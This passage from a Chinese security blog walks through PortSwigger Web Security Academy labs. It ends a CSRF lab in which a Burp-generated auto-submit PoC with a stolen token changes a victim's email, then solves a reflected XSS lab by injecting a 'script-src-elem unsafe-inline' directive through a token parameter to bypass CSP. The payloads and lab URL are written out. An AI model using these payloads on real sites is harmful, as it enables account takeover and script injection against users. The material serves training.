9.在 Burp 中,转到截获的请求并将 email 参数的值更改为hacker@evil-user.net

10.右键单击请求,然后从上下文菜单中选择“Engagement tools”,然后选择“generate CSRF PoC”。弹出窗口显示请求和由它生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为您之前从受害者那里窃取的令牌。

11.单击“option”并确保“include auto-submit script”已激活。

12.单击“Regenerate”更新 CSRF HTML,使其包含被盗令牌,然后单击“copy HTML”将其保存到剪贴板。image-20210922162703031

13.删除请求并关闭拦截功能。

14.返回漏洞利用服务器并将 CSRF HTML 粘贴到正文中。您可以覆盖我们之前输入的脚本。

15.单击“store”和“向受害者提供漏洞利用”。用户的电子邮件将更改为hacker@evil-user.netimage-20210922162640423

image-20210922162958951

30 Reflected XSS protected by CSP, with CSP bypass

描述

本实验室使用CSP并包含一个反射型 XSS漏洞。

为解决实验室问题,执行跨站点脚本攻击,绕过 CSP 并调用该alert函数。

请注意,本实验的预期解决方案只能在 Chrome 中使用。

解决

1.在搜索框中输入以下内容:<img src=1 onerror=alert(1)>

2.观察到负载被反射,但 CSP 阻止脚本执行。

3.在 Burp Proxy 中,观察响应包含一个Content-Security-Policy标头,report-uri指令包含一个名为token. 因为您可以控制token参数,所以您可以将自己的 CSP 指令注入到策略中。

4.访问以下 URL,替换your-lab-id为您的实验室 ID:

<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'

https://ac501f441e3162b7807e5eea0095003d.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

image-20210922163630982

注入使用script-src-elemCSP 中的指令。该指令允许您仅针对script元素。使用此指令,您可以覆盖现有script-src规则,使您能够注入unsafe-inline,这允许您使用内联脚本。

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# XSS漏洞 # 实验记录 # PortSwigger
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑